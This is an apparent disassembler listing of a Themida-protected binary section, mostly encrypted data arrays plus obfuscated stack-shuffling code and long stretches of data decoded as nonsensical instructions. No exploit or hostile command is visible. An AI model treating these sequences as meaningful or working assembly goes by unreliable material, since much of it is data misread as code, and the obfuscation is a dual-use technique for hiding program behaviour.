0DFEC5685h, 0C318C4F7h, 7CB6121h dd 0C28A62B4h, 0F1E7D6BCh, 93C2EA51h, 2B731B89h, 0E5030E25h dd 0B05C8457h, 408833A3h, 0AD596473h, 0BE566596h, 7008C1B8h dd 82543141h, 0B224F139h, 0D6055D09h, 942266Ch, 0C0A45806h dd 4F6C6A82h, 53393F07h, 67580609h, 2300103Fh, 0E9C008B3h dd 0BC7AA59Fh, 63CDFC92h, 73488E5Bh, 1E9D3944h, 49706572h dd 7841909Dh, 96B498CCh, 9A46735Eh, 0E0F8AA42h, 4FFBBE13h dd 7B5AA0F7h, 87A269ABh, 0B5440658h, 6501E7EDh, 8D935806h dd 580664A7h, 0A5CD93BBh, 506B6B76h, 74A5C0FEh, 0E59F8D9h dd 70000001h, 0B1F9A513h, 1DC9F2E4h, 0E8290F15h, 153D51F1h dd 42484E7Dh, 57E50E0Bh, 0E5ED99C1h, 0D302BB18h, 5BAD0EC8h dd 0B763587Eh, 0E38F2CAAh, 0BC4D0D71h, 0A7D6E9EFh, 2F813A9Ch dd 0B5498A57h, 7376EBFBh, 0EB972F35h, 6DF86493h, 91F8D9E5h dd 2Fh, 0F8A613A8h, 0E7E4AAB0h, 90B8D1F1h, 0C70FDCE4h dd 8F27923Fh, 0E8361C60h, 96BAD1F1h, 2ED441F4h, 0E81AE0E6h dd 0C6EE51F1h, 8F9674h, 13ED0000h, 0ABB1F9A5h, 57E510F0h dd 0BDCA769Eh, 7850A219h, 0F0C4AAB0h, 0B0D85805h, 5B607681h dd 0F28869AFh, 4CE45805h, 0F1987E84h, 0D4AC5805h, 5F1E8CEh dd 3CD4FC58h, 659FBB0Dh, 35024A71h, 5069689Ch, 85B40CB8h dd 832B9975h, 15E2353Bh, 0A8D05DFEh, 0E61DF4FCh, 0E6D23B6Ch dd 0BE182352h, 0A6FC51FDh, 12BEFDD9h, 19398BBAh, 0C11576E4h dd 932B9245h, 0F1E6B3FBh, 65587FCCh, 2C3261B9h, 1988D326h dd 0E3E9C164h, 643C89FDh, 0FF51E911h, 0F9A51346h, 0B58ABB1h dd 1E4657EAh, 4A716572h, 0E2FF2B02h, 1C22475Eh, 0B7691688h dd 8AB951FCh, 82399D7Ah, 885A90D6h, 0BA1E1B64h, 3B9C6998h dd 317ED682h, 0DCE716A5h, 0A279C1FAh, 0FF9D0C4Ch, 0C2D201C6h dd 361C22EAh, 4A9BC686h, 0EEE8F322h, 0C11421CDh, 7F2B8E43h dd 8EE38F27h, 4096AEECh, 0DEF90BC6h, 939B47DFh, 0C685A78Dh dd 0FB93BB9Bh, 0FD952AAEh, 0B308CEABh, 0B79DA36Bh, 0CB9BC685h dd 2CD8E5EEh, 0A30D3CD4h, 395h, 7DE4EC00h, 49F5CA12h, 75219A3Ch dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh dd 8733884Ah, 0B864597Ah, 578E6833h, 2C890000h, 391E6824h dd 2C890000h, 0E0895024h, 405h, 4E88300h, 5C240487h, 52240489h dd 46754B68h, 0E2815A5Ch, 674077B8h, 5190F281h, 8152425Bh dd 4A89242Ch, 815D57D5h, 0D54A89C5h, 28685A57h, 89000010h dd 4832424h, 68580424h, 6AB6h, 8F242C89h, 48B0840h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 5D2434FFh, 4C481h dd 74E90000h, 0D5FFF954h, 0FD25F7E0h, 2AB898F7h, 3061B29h dd 0B1E0FFC5h, 0ED18A655h, 46E5541h, 504F5CE4h, 675D7D95h dd 0EA36EF4Eh, 0B57318E4h, 5A0F5C02h, 0A2066662h, 46172BA5h dd 817FA499h, 0D2557ECAh, 481281CEh, 407DA327h, 0E275C051h dd 4B39A11Bh, 195298D4h, 843ECB23h, 0FE2B9660h, 3456A7BBh dd 0C4029947h, 427B3091h, 0E971CA47h, 3Bh, 79BD8B60h, 8306140Ch dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0E59D8DC8h, 0B8061413h dd 13A8h, 1B698589h, 0E80614h, 58000000h, 0D05h, 0E9038900h dd 13A8h dword_5BB658 dd 4E8h dup(0) ; DATA XREF: Themida_:00549FC4o dword_5BC9F8 dd 2 dup(0) ; DATA XREF: Themida_:0054C040o ; --------------------------------------------------------------------------- jmp short loc_5BCA0E ; --------------------------------------------------------------------------- dw 5251h dd 9BF313D8h, 2C165DEEh db 50h, 0E1h ; --------------------------------------------------------------------------- loc_5BCA0E: ; CODE XREF: Themida_:005BCA00j jmp loc_5BD001 ; --------------------------------------------------------------------------- jmp loc_5BCFFA ; --------------------------------------------------------------------------- dd 0DC2E914Bh, 97E9D4FFh, 51A318BAh, 6586174h, 0BD0FAE29h dd 5B7C3484h, 9E331062h, 0ECECC91Bh, 32A481D3h, 0A32B3789h dd 0D25B79Dh, 69D0CB58h, 4BF7C412h, 79259A3Eh, 0A854656Ch dd 6CC3C9Bh, 0E819FF05h, 52D51F1h, 391F256Dh, 4D51F1E8h dd 0D4E18D25h, 0E370FB03h, 6A378171h, 1FB74F6Ch, 4A6F6673h dd 7A41919Eh, 7E646A32h, 9251F1F9h, 0C4D13B6Ah, 9E66AE0Fh dd 309951C7h, 5DE3F943h, 51F2A177h, 0CA34638Bh, 0EAF050BEh dd 51F2A104h, 1058F018h, 0FE2D9043h, 0DEEDF2F8h, 173F57EAh dd 47745E6Bh, 19A632FFh, 0D6E6156Dh, 36E2D9F9h, 0D1F63AF0h dd 0F89AFE4Dh, 0E52D8E44h, 6343BB18h, 0BF720224h, 0B20AB64Eh dd 29977383h, 0AA663D85h, 366B872Eh, 0E141A49h, 73C936F5h dd 7E8B375Fh, 3613655Ah, 8D51DA2h, 0ED96EDCEh, 380C46CAh dd 0C50B75A4h, 2F7F1ACAh, 0B323F008h, 4E545C08h, 0CFE21B68h dd 8DBC547Ch, 0F3E51F3Bh, 1EB784CCh, 6897EF9Bh, 620E7C58h dd 6619141Ah, 1F47D5D5h, 263800D7h, 4228E6C9h, 8163A913h dd 8CD5F6A0h, 2E8EEB6h, 16D5F6A0h, 89219839h, 514A085Ah dd 7AE93A14h, 359734Ah, 6C0F5488h, 0ED73Dh, 2CF0000h, 0E43CE8D5h dd 7011CEB5h, 68000003h, 823AC612h, 0F9125FE4h, 36E2D9FDh dd 0F8FE46DEh, 51F2C012h, 0BA66FE26h, 0EA9625ADh, 5A92B0D4h dd 17EF417Eh, 603D8740h, 4675E6EDh, 76229D3Bh, 0B5D78D28h dd 46795F95h, 7D451CF4h, 0EFA11483h, 0CB071241h, 9E3744F0h dd 0C41A6F1Bh, 93DBDEF7h, 0F275A78Dh, 6493BB51h, 0F9C17012h dd 0F2760DF3h, 83389A51h, 0D2B97FD7h, 0E141A460h, 78A73F5Ch dd 456656Dh, 0A968C9EEh, 0BA03D4D1h, 0D632A572h, 7622BAFFh dd 2DFEF1Eh, 313EEACFh, 0A25B5AA0h, 0EAA5CA18h, 9A3D0A52h dd 0BD02D623h, 208AB911h, 4FFBBE13h, 7C289542h, 2FC58527h dd 0CB8119A4h, 0C0112B67h, 0C4C9A7F9h, 20000000h, 50FCAA13h dd 0D6289343h, 9AE2D9F9h, 0E7E6CCD2h, 0D2FA51F1h, 0E79E848Ah dd 8AB251F1h, 0C5ABF15Bh, 0A51F1E7h, 0C0122A68h, 5CCA9FBh dd 0DBFB08B4h, 5ABE34E0h, 37CD0438h, 1B731F9Ah, 7D543183h dd 262CF43Ch, 51F1E840h, 316750C3h, 0D298A508h, 4117BAAh dd 0E93EEAD3h, 2EF60B47h, 0F2644228h, 0FF2E5651h, 8ADCDDF4h dd 4B932AADh, 0B763587Eh, 2B11175Fh, 3F51F264h, 307EE817h dd 0C9F2E492h, 0FAC3101Dh, 14361A4Eh, 6441695h, 0F68A1CF3h dd 863EE66Bh, 0F01F9E39h, 151BF2E5h, 51F2A92Fh, 31831B43h dd 8F3B8454h, 0F2A96649h, 7047CD51h, 7BB07C37h, 2A7CAB79h dd 0BB04D468h, 8A2FA673h, 17924B5Bh, 2318E4Ah, 32DEE1F7h dd 9A4DB325h, 1FCE47B6h, 0B022CE66h, 2EFB0E4Ch, 0DBE615AAh dd 0F5C40DFDh, 759F149h, 0F2BF22F1h, 58677151h, 0EBC54ACh dd 0FEED1658h, 0FFFF03A8h, 4A17BFFFh, 2A822E8Bh, 0DB83F1FBh dd 10D28D93h, 588057E5h, 2A954310h, 8DF7267Eh, 13655680h dd 876D733Bh, 195805F0h, 5F12D13h, 53194158h, 0F08F757Bh dd 7BA35805h, 2DA9B4E3h, 0D5E28Eh, 0D5000DB9h, 0AD2B38E4h dd 4E326612h, 0DFF7AD0Ch, 0CAF9C612h, 0B422DA78h, 0E3F2BF07h dd 0A3D22AD6h, 0DC20B693h, 5618A057h, 6EB64EC9h, 4B7BEA97h dd 2554D2F4h, 0F49275BBh, 50B45805h, 2FDCFA32h, 5F54329h dd 0B801D058h, 0E032CAF2h, 0A433D303h, 0CDD58119h, 3EEAD300h dd 3FADB7E6h, 4641478Fh, 0F25DF940h, 0B209B025h, 0D9E25CDh dd 0E26695BFh, 9C9B72BAh, 23935D0Dh, 12EEFE2Dh, 0E7B4FCA4h dd 0C921CDF0h, 718E949Ah, 0E36412E7h, 0D6020FBBh, 0E84D3339h dd 0D9DF6435h, 6435E7F3h, 0F119DF07h, 0AE2A0759h, 691F6511h dd 8D59F9FFh, 1E7EDB5h, 9379F9DFh, 0F9DEA78Dh, 0CD93BB79h dd 662476A5h, 63B50ACEh, 0C26E4B86h, 0F09C23B5h, 900B4769h dd 0D6E5FAD5h, 9E29h, 0C1124000h, 5CDAAFCh, 37A16EB6h dd 6C495988h, 21FE5069h, 0F4BF48B6h, 9F4B7062h, 0ACBBF047h dd 240153EBh, 0DBB80AB3h, 9471C3F6h, 4C297B44h, 2DF318Ah dd 4C3238D5h, 6051F26Bh, 0B8F4A038h, 0F6FCC4CCh, 51F26B10h dd 0C2CDFC24h, 0DCE1F214h, 0A1439844h, 308B4BE1h, 0F9DF2C84h dd 46C21AC6h, 0AF0F6BEh, 9751F26Bh, 78D07C3Fh, 555B8AB2h dd 0F26B694Fh, 3557D51h, 6B3F252Bh, 765351F2h, 5CB4605Dh dd 4E5C48C4h, 70h, 736CB0A5h, 0CE51F1E8h, 6A806E2Ch, 0DA86359Dh dd 126C5382h, 0ECB4FCC1h, 0F1E800E6h, 0BDEC1451h, 0B902D0ADh dd 0AF4B8A67h, 0E28282E3h, 0D426BE1Bh, 1C1EE0F7h, 2D07E5AAh dd 0D2AF0199h, 0E7D20305h, 0F94BE33Bh, 0B204B51Ch, 74BC03D5h dd 7C36A59Dh, 3B9AB16Fh, 0E27AD27Eh, 10C6A3B3h, 0D7B59ABh dd 0B3000000h, 35FFE5EBh, 0EB1351F2h, 7DE4D5BCh, 49F5CA12h dd 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h dd 5703B61Fh, 8733884Ah, 0B864597Ah db 33h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 1777h mov [esp], ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push 61B3E39h mov ebp, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push esi mov esi, ebp push esi loc_5BCFB0: ; CODE XREF: Themida_:005BD00Aj sub dword ptr [esp], 20942F81h pop dword ptr [ecx+8] add dword ptr [ecx+8], 20942F81h pop esi mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] ; CODE XREF: Themida_:005BD046j pop esp mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5509FF ; --------------------------------------------------------------------------- dd 9B32F482h, 0EB013348h ; --------------------------------------------------------------------------- xor cl, ch loc_5BCFFA: ; CODE XREF: Themida_:005BCA13j mov eax, 61B438Ah add eax, ebp ; CODE XREF: Themida_:005BD008j loc_5BD001: ; CODE XREF: Themida_:loc_5BCA0Ej mov edx, ebx push ebp in eax, dx std jnz short loc_5BD066 ; CODE XREF: Themida_:005BD06Ej jp short near ptr loc_5BCFFF+1 jbe short loc_5BCFB0 imul esp, esi, 0FD49BC56h inc esp pop ds and ebp, edi mov edx, 0FBFD2136h and [ecx], esp std pop ecx stosd and ebp, edi dec ebx loc_5BD023: ; CODE XREF: Themida_:005BD08Aj outsb and ebp, edi and [ecx+21FD0EFDh], ecx std out dx, eax inc ebp loc_5BD030: ; CODE XREF: Themida_:005BD09Ej and ebp, edi ficomp dword ptr [ecx] and ebp, edi add [esi], esi and ebp, edi fisub word ptr [ecx] and ebp, edi xor ebp, [ebp+6E9CFD21h] ; CODE XREF: Themida_:005BD072j ; Themida_:005BD082j and ebp, edi jge short near ptr loc_5BCFD4+1 and ebp, edi pop esi cld and ebp, edi sbb al, [ebx+21h] std outsb pop ds and ebp, edi popf and eax, 2295358Ah mov ds:714A76D6h, al ; CODE XREF: Themida_:005BD092j ; Themida_:005BD0A2j ficomp word ptr [ebp+edi*4+4Bh] ; CODE XREF: Themida_:005BD06Cj loc_5BD065: ; CODE XREF: Themida_:005BD076j hlt ; --------------------------------------------------------------------------- loc_5BD066: ; CODE XREF: Themida_:005BD006j pop esp loc_5BD067: ; CODE XREF: Themida_:005BD068j pop edx jp short loc_5BD067 jnz short near ptr loc_5BD092+1 jb short near ptr loc_5BD061+2 jnz short near ptr loc_5BD006+1 ; CODE XREF: Themida_:005BD070j ; Themida_:005BD078j ... jns short near ptr loc_5BD06E+1 jz short near ptr loc_5BD03E+1 ; CODE XREF: Themida_:005BD074j js short near ptr loc_5BD072+1 jnb short loc_5BD065 jge short near ptr loc_5BD06E+1 loc_5BD07A: ; CODE XREF: Themida_:loc_5BD07Cj jz short near ptr loc_5BD06E+1 loc_5BD07C: ; CODE XREF: Themida_:loc_5BD096j jnp short loc_5BD07A loc_5BD07E: ; CODE XREF: Themida_:005BD080j jz short loc_5BD0F8 jnp short loc_5BD07E jnz short near ptr loc_5BD03E+2 ; CODE XREF: Themida_:005BD084j jp short near ptr loc_5BD082+1 jnz short loc_5BD0E6 ; CODE XREF: Themida_:005BD088j jp short near ptr loc_5BD086+1 jbe short loc_5BD023 sub [esi-59D6EB8Bh], ah ; CODE XREF: Themida_:loc_5BD09Aj loc_5BD092: ; CODE XREF: Themida_:005BD06Aj ; Themida_:005BD094j jnz short near ptr loc_5BD05C+3 jp short near ptr loc_5BD092+1 loc_5BD096: ; CODE XREF: Themida_:005BD098j jnz short loc_5BD07C jnp short loc_5BD096 loc_5BD09A: ; CODE XREF: Themida_:005BD09Cj jz short near ptr loc_5BD08C+3 jnp short loc_5BD09A jz short loc_5BD030 mov dl, 0F8h jnz short near ptr loc_5BD05C+4 sbb dh, [eax-10h] bound esi, [edx] out 73h, al cmpsb dec dword ptr [esi+707C8C31h] lock cdq xor ah, dh jnb short loc_5BD124 dec esi xor ecx, ebp jl short loc_5BD12E lock jmp near ptr 35CFB6F6h ; CODE XREF: Themida_:loc_5BD0E6j ; --------------------------------------------------------------------------- dd 453192FFh, 0DFF0707Ch, 1E73E63Dh, 0D031CAFFh, 4AF0707Ch dd 7B73E63Dh db 0FFh, 0C6h, 31h ; --------------------------------------------------------------------------- loc_5BD0DF: ; CODE XREF: Themida_:005BD0EDj bound edi, [eax+esi*2-10h] icebp cmp al, 0E6h loc_5BD0E6: ; CODE XREF: Themida_:loc_5BD086j jnb short near ptr loc_5BD0BE+1 inc edx xor [esp+edi*2], esi jo short loc_5BD0DF enter 0FFFFE63Ch, 73h ; CODE XREF: Themida_:005BD0FEj inc edx ; --------------------------------------------------------------------------- dd 0FE31BEFFh ; --------------------------------------------------------------------------- loc_5BD0F8: ; CODE XREF: Themida_:loc_5BD07Ej jl short near ptr loc_5BD168+2 lock xchg edi, [esi] jnb short near ptr loc_5BD0EF+1 ; --------------------------------------------------------------------------- dd 0A731BAFFh, 8EF0707Ch, 0A673E63Ch, 8C31AEFFh, 57F0707Ch dd 6C73E63Ch, 0E931B6FFh, 0C2F0707Ch, 3573E63Ch ; --------------------------------------------------------------------------- loc_5BD124: ; CODE XREF: Themida_:005BD0B6j push dword ptr [edx+707C4531h] ; --------------------------------------------------------------------------- dw 0FFF0h ; --------------------------------------------------------------------------- cmp al, 0E6h loc_5BD12E: ; CODE XREF: Themida_:005BD0BCj jnb short loc_5BD14E jmp fword ptr [esi+707CD031h] ; --------------------------------------------------------------------------- dw 0EFF0h dd 7B73E63Dh, 62319EFFh, 95F0707Ch, 0D773E63Dh, 34319AFFh ; --------------------------------------------------------------------------- jl short loc_5BD1BE loc_5BD14E: ; CODE XREF: Themida_:loc_5BD12Ej lock fstp tbyte ptr ds:0FF4273E6h xchg eax, esi xor esi, edi jl short loc_5BD1CA db 67h ; CODE XREF: Themida_:005BD1C1j lock cmp eax, 0FFF073E6h stosb loc_5BD162: ; CODE XREF: Themida_:005BD1B4j xor [edi-6D0F8F84h], esp loc_5BD168: ; CODE XREF: Themida_:loc_5BD0F8j cmp eax, 0FFA673E6h cmpsb xor [esp+edi*2+32ACF070h], ecx out 73h, al insb jmp dword ptr [edx+767CE931h] ; --------------------------------------------------------------------------- dw 14F0h dd 3573E95Bh, 453151FFh, 0AF0767Ch, 1E73E956h, 0D0314DFFh db 7Ch, 9Ch, 0B6h ; --------------------------------------------------------------------------- loc_5BD197: ; CODE XREF: Themida_:005BD1CDj mov al, 0F1h adc [ebp+75FD7AF2h], ebx and edi, ebx pop ss mov ch, 0F9h popa sti and eax, 0FDF53FD5h lodsd sar dword ptr [ecx+3422916Eh], 1 mov bh, 0CFh jp short loc_5BD162 and esi, [edi+1A20AD29h] ; CODE XREF: Themida_:005BD1BCj jp short near ptr loc_5BD1B6+5 loc_5BD1BE: ; CODE XREF: Themida_:005BD14Cj jnz short loc_5BD239 daa jl short near ptr loc_5BD15A+1 pop ebp aas out 73h, al ; CODE XREF: Themida_:005BD224j ; --------------------------------------------------------------------------- byte_5BD1C7 db 0A0h ; CODE XREF: Themida_:005BD22Ej ; --------------------------------------------------------------------------- dec edi loc_5BD1CA: ; CODE XREF: Themida_:005BD158j xor [esp+edi*2], esi jge short loc_5BD197 movsd db 3Eh out 73h, al iret ; --------------------------------------------------------------------------- dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 0A7314DEFh, 96FEBD7Ch dd 2F7A452Bh, 28AFD7Ah, 0CD6EB9CAh, 0A14648F7h, 0C6F8FB61h dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 916EB9CAh dd 8F4648F7h, 0D1F8FB61h, 228A50FCh ; --------------------------------------------------------------------------- and ebx, [edi] loc_5BD21E: ; CODE XREF: Themida_:005BD242j mov esp, 31CFF787h cmpsd jl short near ptr loc_5BD1C5+1 sub eax, 2CA32005h in al, dx xchg eax, edx insd ja short near ptr byte_5BD1C7 jp short loc_5BD27F int 0C1h ; used by BASIC while in interpreter jns short loc_5BD28D mov dh, [eax-2Ah] loc_5BD239: ; CODE XREF: Themida_:loc_5BD1BEj mov ecx, 3ED1F46Eh popf loc_5BD23F: ; CODE XREF: Themida_:005BD240j pop es js short loc_5BD23F jnz short loc_5BD21E retn 0CD9Bh ; --------------------------------------------------------------------------- db 54h dd 0D0DE9B59h, 8C3151EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah dd 866E8872h, 0A73151EFh, 54C54D7Ch, 0BA8AAD79h, 916EB9D6h dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch ; --------------------------------------------------------------------------- imul edi, 75h loc_5BD27F: ; CODE XREF: Themida_:005BD230j jns short near ptr loc_5BD2A9+1 adc eax, 0FD7ABE4Eh das mov al, gs:59A57B89h loc_5BD28D: ; CODE XREF: Themida_:005BD234j cmp eax, 0DF709491h cmc pop es mov edx, 0D183FE4Dh db 3Eh popf add [ebx-3], bh jnz short loc_5BD2CA xchg eax, edx loope loc_5BD31A mov esp, 844EA77Ah push cs loc_5BD2A9: ; CODE XREF: Themida_:loc_5BD27Fj adc al, ch dec ecx rcl byte ptr [esi], 1 test eax, 75FCA77Fh ; CODE XREF: Themida_:005BD2D0j retf ; --------------------------------------------------------------------------- dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h db 0A0h, 89h ; --------------------------------------------------------------------------- loc_5BD2CA: ; CODE XREF: Themida_:005BD29Ej push 913D59A5h xchg eax, esp jo short near ptr loc_5BD2AE+3 cmc pop es mov edx, 85B5FF4Dh push 0FB61B6D9h das pop ds pop edi std push ecx fidiv dword ptr [ecx+3Fh] adc esi, ebp mov ecx, 9285E94Dh mov ebp, 4D7A9774h hlt ; --------------------------------------------------------------------------- db 61h dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch ; --------------------------------------------------------------------------- sbb al, 56h loc_5BD316: ; CODE XREF: Themida_:005BD326j popf loc_5BD317: ; CODE XREF: Themida_:005BD318j inc ebx jnp short loc_5BD317 loc_5BD31A: ; CODE XREF: Themida_:005BD2A1j jnz short loc_5BD336 dec esp loc_5BD31D: ; CODE XREF: Themida_:loc_5BD336j std jnz short loc_5BD399 sbb al, 56h popf mov dh, 7Bh std jnz short loc_5BD316 out 57h, eax mov dh, 9Fh out 57h, al popf imul edi, [edx-3], 0FCF32375h loc_5BD336: ; CODE XREF: Themida_:loc_5BD31Aj jnz short loc_5BD31D ; --------------------------------------------------------------------------- dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 62314DEFh dd 0CBC0707Ch, 5D73E63Eh, 2C7F518Ah, 3BE002D0h, 873E63Eh dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h db 85h ; --------------------------------------------------------------------------- loc_5BD399: ; CODE XREF: Themida_:005BD31Ej wait int 0FDh dec ebx wait ficom word ptr [ecx+438A036Bh] retf 0DFA7h ; --------------------------------------------------------------------------- db 0EEh ; --------------------------------------------------------------------------- and dl, [edi-4Ah] lahf xchg eax, edx push edi and bh, [edx+edx*4] or al, 75h retf ; --------------------------------------------------------------------------- dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h dd 252D4D7Ah, 69B65779h, 0D031D4FFh, 0CCC87D7Ch, 0F373E63Eh dd 0FCF8EC0Fh, 0BA6EB9E1h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0A731D4F7h dd 77C87D7Ch, 2F73E63Eh, 12F8F10Fh, 0CD6EB9E1h, 0E4DE152Ah dd 4AB6FD7Ah, 7975FD7Eh, 0F8C56885h, 0C3F8FB61h, 296EB582h dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h dd 357115F9h, 0CB8A3E78h, 296EB9D6h, 96514ACEh, 74C1FF0Eh dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h dd 25B5F179h, 68B65778h, 0D03151EFh, 0EA917D7Ch, 42F539FAh dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h dd 0CB7345B9h, 708AFD7Ah, 0F46EB9CAh, 3DFA60F7h, 0A0F8FB61h dd 4ECD3E39h, 0D075FD7Ah, 8C314DEFh, 0CEB57E7Ch, 1A8935F1h dd 0E93151EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h dd 0BC9D9D86h, 475FD7Ah, 667D17FBh, 0EAFCFB61h, 60CF7D86h dd 0E573E63Eh, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 45314DE8h dd 0ADFCBD7Ch, 916EB9CEh, 79F835F1h, 0E36EB4A6h, 0B6D96F85h dd 7FFDFB61h, 4801F3Ch, 5E75FD6Dh, 6BC17F79h, 1A35FB61h dd 0D03C2DE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0F8C17779h dd 0ECF8FB61h, 296EB4C4h, 2F2B5989h, 0CB75FD72h, 0A1C56F85h dd 0AF6FB61h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah dd 0D03C1290h, 5DCF707Ch, 7973E63Eh, 71CCF50Fh, 4F75FD7Ah dd 9CBC9CDEh, 0A226FD7Eh, 8C3145E7h, 0D3497D7Ch, 0BE71887Bh dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 655D17FBh dd 25F8FB61h, 0CD6EB9C2h, 5C7D80F1h, 0F275FD72h, 0B0145989h dd 0DC75F9B8h, 1ACD40F7h, 0EF46FB61h, 9775F5C3h, 0AADF0E7Ah dd 58F89DB9h, 0F46EB9C2h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 0A1CD40F7h, 0F3CDFB61h dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0D3B078F7h dd 0D08AFB61h, 2AE9CA8Bh, 0C7000000h, 2404h, 0E80000h dd 5D000000h, 4AA8ED81h, 448B061Bh, 85890424h, 6143219h dd 0B8h, 798D8D00h, 0FF06144Dh, 6754B8E1h, 11E80000h, 45000000h dd 868FE50h, 0BEDF923Fh, 0A7B98E06h, 13933055h, 5B1CE280h dd 0BCB96660h, 0D2BF0F7Dh, 0D7C38161h, 0F00005Ch, 11BED2B7h dd 81000017h ; --------------------------------------------------------------------------- loc_5BD6DC: ; DATA XREF: Themida_:0054C0E0o fld dword ptr [esi+8] adc al, 0Dh ; START OF FUNCTION CHUNK FOR sub_5BD701 loc_5BD6E1: ; CODE XREF: sub_5BD701+39j push dword ptr [ebx] pop eax sub dx, 0B643h sub eax, 660E817Eh add eax, 884A754h call sub_5BD701 mov byte ptr [eax-7B1B4D6Fh], 0DBh ; END OF FUNCTION CHUNK FOR sub_5BD701 ; =============== S U B R O U T I N E ======================================= sub_5BD701 proc near ; CODE XREF: sub_5BD701-Cp ; FUNCTION CHUNK AT 005BD6E1 SIZE 00000020 BYTES push esi add edx, 201087BAh pop ecx pop ecx add eax, 75407DC8h xor dh, 0Dh push eax stc pop dword ptr [ebx] mov dx, cx sub ebx, 7DE03F20h xor edx, 46831CABh add ebx, 7DE03F1Ch pusha mov di, 3296h mov ebx, esi popa sub esi, 1 jnz loc_5BD6E1 or edi, 97184E3h jmp loc_5BD779 ; --------------------------------------------------------------------------- db 0Bh dd 21EEEFh, 0Ah dup(0) db 0 ; --------------------------------------------------------------------------- loc_5BD779: ; CODE XREF: sub_5BD701+45j jmp loc_5BDD5D ; --------------------------------------------------------------------------- dw 2BB1h dd 6E654294h, 0B220FD4Fh, 0FBDAB709h, 488F6CBEh, 0CEEA2375h dd 76C8F5E2h, 2F813899h, 0E7398652h, 9DEFCC0Ah, 1D030991h dd 31580D33h, 0C412CF36h, 0E1E7AFF7h, 51F1E7FBh, 0E7A1878Dh dd 8DB551F1h, 6709FC7h, 4920DEF9h, 31919ACFh, 64317911h dd 0FA004871h, 51F2B714h, 0C1D10028h, 0C314F2E4h, 5EF64EFAh dd 0D531A5B2h, 0B70FBB02h, 6D66731Fh, 0B30C7691h, 52EA6FBAh dd 8ECC30A6h, 31A66076h, 25983F8Ch, 41892179h, 2A596274h dd 749B3D1Ah, 0F22F886Eh, 2E141A51h, 4251F230h, 942C541Ah dd 9C736542h, 0F22FB096h, 49CC451h, 33864B58h, 0F2903287h dd 656C9E3Ah, 8D6ABC54h, 80C67249h, 51F22F9Dh, 4E450519h dd 0FEEDAA17h, 6DE7h, 0C412FE00h, 1FE7AFF7h, 0F1E83319h dd 991F4751h, 51F1E7B3h, 6709FC7h, 0F1E7DCC0h, 4465A51h dd 0EDF1D68Fh, 128FEh, 123F0000h, 4350FCC1h, 79812D90h dd 0BD016CA2h, 0E228AC59h, 4AB02D1h, 6A75A4E4h, 2CA24E6Bh dd 61728AC8h, 0AA1219Dh, 0EA42EECBh, 88981893h, 0DAE0A8F0h dd 51F22EF4h, 11AC2B08h, 46750D65h, 3E7D5936h, 0C51233ECh dd 943F4CF8h, 0A4AA6374h, 51F1E7BEh, 6612AAD2h, 0A615C10Eh dd 5E0AA2FAh, 0CA07D4ECh, 8936A2EFh, 45685DDh, 9429AE46h dd 0F3A6754Ch, 59EEDB3Bh, 6B421A2Ah, 0C35EDF7Fh, 590BA018h dd 0C139449Bh, 874F5A89h, 577B8834h, 834F1C64h, 189F0938h dd 0CEA554F6h, 375C0ACh, 26E9D00h, 0FEED1073h, 66ABh, 0C512C200h dd 933F4CF8h, 0B15D6073h, 9F15C159h, 